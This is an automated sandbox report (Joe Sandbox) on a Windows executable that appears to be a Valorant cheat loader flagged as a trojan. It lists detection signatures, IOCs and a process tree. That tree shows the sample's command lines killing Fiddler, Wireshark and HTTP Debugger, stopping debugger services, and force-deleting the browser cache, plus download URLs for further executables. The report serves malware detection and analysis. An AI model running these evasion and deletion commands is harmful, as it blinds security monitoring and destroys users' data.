Edit tour

Windows Analysis Report
EspPrivStoreAtt116.exe

Overview

General Information

Sample name:	EspPrivStoreAtt116.exe
Analysis ID:	1590902
MD5:	3653a466ffb4ccb78a2898a781dea130
SHA1:	7c3a5e4267dfd27585a37b590543c4d9dec73ee2
SHA256:	8b09a8bf369165115ad04e9c7f7c0058b506b560ec0324657188592e66cbcd8a
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Uses Microsoft's Enhanced Cryptographic Provider

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

EspPrivStoreAtt116.exe (PID: 3128 cmdline: "C:\Users\user\Desktop\EspPrivStoreAtt116.exe" MD5: 3653A466FFB4CCB78A2898A781DEA130)

conhost.exe (PID: 6972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7060 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3292 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5688 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5908 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5968 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 1476 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 7148 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 5052 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 764 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7104 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1440 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 3876 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 3920 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3364 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2072 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 2820 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6412 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 4592 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7108 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 528 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 4308 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 4912 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7148 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 7104 cmdline: taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5036 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6728 cmdline: taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 3688 cmdline: C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 2300 cmdline: taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6472 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 1520 cmdline: sc stop HTTPDebuggerPro MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1868 cmdline: C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

sc.exe (PID: 7064 cmdline: sc stop HTTPDebuggerProSdk MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 984 cmdline: C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: EspPrivStoreAtt116.exe	Virustotal: Detection: 61%			Perma Link
Source: EspPrivStoreAtt116.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.5% probability

Machine Learning detection for sample

Source: EspPrivStoreAtt116.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6A84D strtol,strchr,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strchr,_strdup,CertOpenStore,GetLastError,free,free,CryptStringToBinaryA,CertFindCertificateInStore,fopen,fseek,ftell,fseek,malloc,fread,fclose,malloc,MultiByteToWideChar,PFXImportCertStore,free,free,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,CertCloseStore,calloc,CertFreeCertificateContext,fclose,free,CertFreeCertificateContext,free,calloc,	0_2_00007FF747D6A84D
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D8F840 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF747D8F840
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D8D750 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_00007FF747D8D750
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D863E0 CertOpenStore,GetLastError,CertCreateCertificateChainEngine,GetLastError,CertGetCertificateChain,GetLastError,CertGetNameStringA,malloc,CertFindExtension,CryptDecodeObjectEx,CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,CertFreeCertificateChainEngine,CertCloseStore,CertFreeCertificateChain,CertFreeCertificateContext,	0_2_00007FF747D863E0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D86D00 GetLastError,CreateFileA,GetLastError,GetFileSizeEx,GetLastError,malloc,ReadFile,strstr,strstr,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,GetLastError,CloseHandle,free,	0_2_00007FF747D86D00
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D69C10 memset,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF747D69C10
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D69B40 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,	0_2_00007FF747D69B40
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6CB20 CryptHashData,	0_2_00007FF747D6CB20
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6CB30 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_00007FF747D6CB30
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6CAD0 CryptAcquireContextA,CryptCreateHash,	0_2_00007FF747D6CAD0

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: -----BEGIN PUBLIC KEY-----		0_2_00007FF747D4F9F0
Source: EspPrivStoreAtt116.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

0_2_00007FF747D79410

Source: unknown

HTTPS traffic detected: 104.26.0.5:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: EspPrivStoreAtt116.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant ESP\x64\Release\EpicGames.pdb source: EspPrivStoreAtt116.exe
Source:	Binary string: 2D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\BACKUP BOTS PRIVATE STORE\Loader Valorant ESP\x64\Release\EpicGames.pdb source: EspPrivStoreAtt116.exe

Source: global traffic

HTTP traffic detected: POST /api/1.1/ HTTP/1.1Host: keyauth.winAccept: */*Content-Length: 74Content-Type: application/x-www-form-urlencoded

Source: Joe Sandbox View

IP Address: 104.26.0.5 104.26.0.5

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: 0_2_00007FF747D567E0 malloc,recv,send,WSAGetLastError,

0_2_00007FF747D567E0

Source: global traffic

DNS traffic detected: DNS query: keyauth.win

Source: unknown

HTTP traffic detected: POST /api/1.1/ HTTP/1.1Host: keyauth.winAccept: */*Content-Length: 74Content-Type: application/x-www-form-urlencoded

Source: EspPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/esphvcioffbronkzatualizadoh96.exe
Source: EspPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/esphvcioffbronkzatualizadoh96.exeC:
Source: EspPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/esphvcionattprivatestore655.exe
Source: EspPrivStoreAtt116.exe	String found in binary or memory: http://167.114.85.75/esphvcionattprivatestore655.exeC:
Source: EspPrivStoreAtt116.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: EspPrivStoreAtt116.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: EspPrivStoreAtt116.exe, 00000000.00000003.2153452773.0000029F6DFA6000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153688822.0000029F6DFA2000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF79000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF8C000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153688822.0000029F6DFA6000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153452773.0000029F6DFA2000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DFA6000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153495880.0000029F6DF8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.cc/panel/bronkzware/Loader
Source: EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/
Source: EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/ace6
Source: EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.1/um
Source: EspPrivStoreAtt116.exe, 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.2/
Source: EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://keyauth.win/api/1.2/DATA=

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown

HTTPS traffic detected: 104.26.0.5:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: 0_2_00007FF747D8D750 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

0_2_00007FF747D8D750

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6A84D	0_2_00007FF747D6A84D
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D585D0	0_2_00007FF747D585D0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D59290	0_2_00007FF747D59290
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D57290	0_2_00007FF747D57290
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D5FEA0	0_2_00007FF747D5FEA0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D41E40	0_2_00007FF747D41E40
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D41AA0	0_2_00007FF747D41AA0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6A90C	0_2_00007FF747D6A90C
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6A915	0_2_00007FF747D6A915
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D8F7D0	0_2_00007FF747D8F7D0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D8D750	0_2_00007FF747D8D750
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D3974B	0_2_00007FF747D3974B
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D41750	0_2_00007FF747D41750
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D685D0	0_2_00007FF747D685D0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D3956D	0_2_00007FF747D3956D
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D863E0	0_2_00007FF747D863E0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D75300	0_2_00007FF747D75300
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D3D310	0_2_00007FF747D3D310
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D492A0	0_2_00007FF747D492A0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D631A0	0_2_00007FF747D631A0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D5A150	0_2_00007FF747D5A150
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D31000	0_2_00007FF747D31000
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D50F10	0_2_00007FF747D50F10
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D6CEE0	0_2_00007FF747D6CEE0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D81EC0	0_2_00007FF747D81EC0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D3DEA0	0_2_00007FF747D3DEA0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D80E90	0_2_00007FF747D80E90
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D79E30	0_2_00007FF747D79E30
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D65CF0	0_2_00007FF747D65CF0
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D53C40	0_2_00007FF747D53C40
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D3EC30	0_2_00007FF747D3EC30
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D3AC0D	0_2_00007FF747D3AC0D
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D7DB30	0_2_00007FF747D7DB30

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D50B50 appears 70 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D56400 appears 326 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D5ABB0 appears 37 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D5AC40 appears 33 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D596C0 appears 46 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D43940 appears 49 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D56280 appears 380 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D59790 appears 36 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D5AD20 appears 34 times
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: String function: 00007FF747D90B6C appears 47 times

Source: classification engine

Classification label: mal56.evad.winEXE@67/18@1/2

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: 0_2_00007FF747D4279A FormatMessageA,strchr,_errno,_errno,GetLastError,SetLastError,

0_2_00007FF747D4279A

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6972:120:WilError_03

Source: EspPrivStoreAtt116.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: EspPrivStoreAtt116.exe	Virustotal: Detection: 61%
Source: EspPrivStoreAtt116.exe	ReversingLabs: Detection: 63%

Source: EspPrivStoreAtt116.exe

String found in binary or memory: iphlpapi.dllif_nametoindexkernel32LoadLibraryExA\/AddDllDirectory0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ(nil)(nil)I32I64%ld.%ld$@

Source: unknown	Process created: C:\Users\user\Desktop\EspPrivStoreAtt116.exe "C:\Users\user\Desktop\EspPrivStoreAtt116.exe"
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
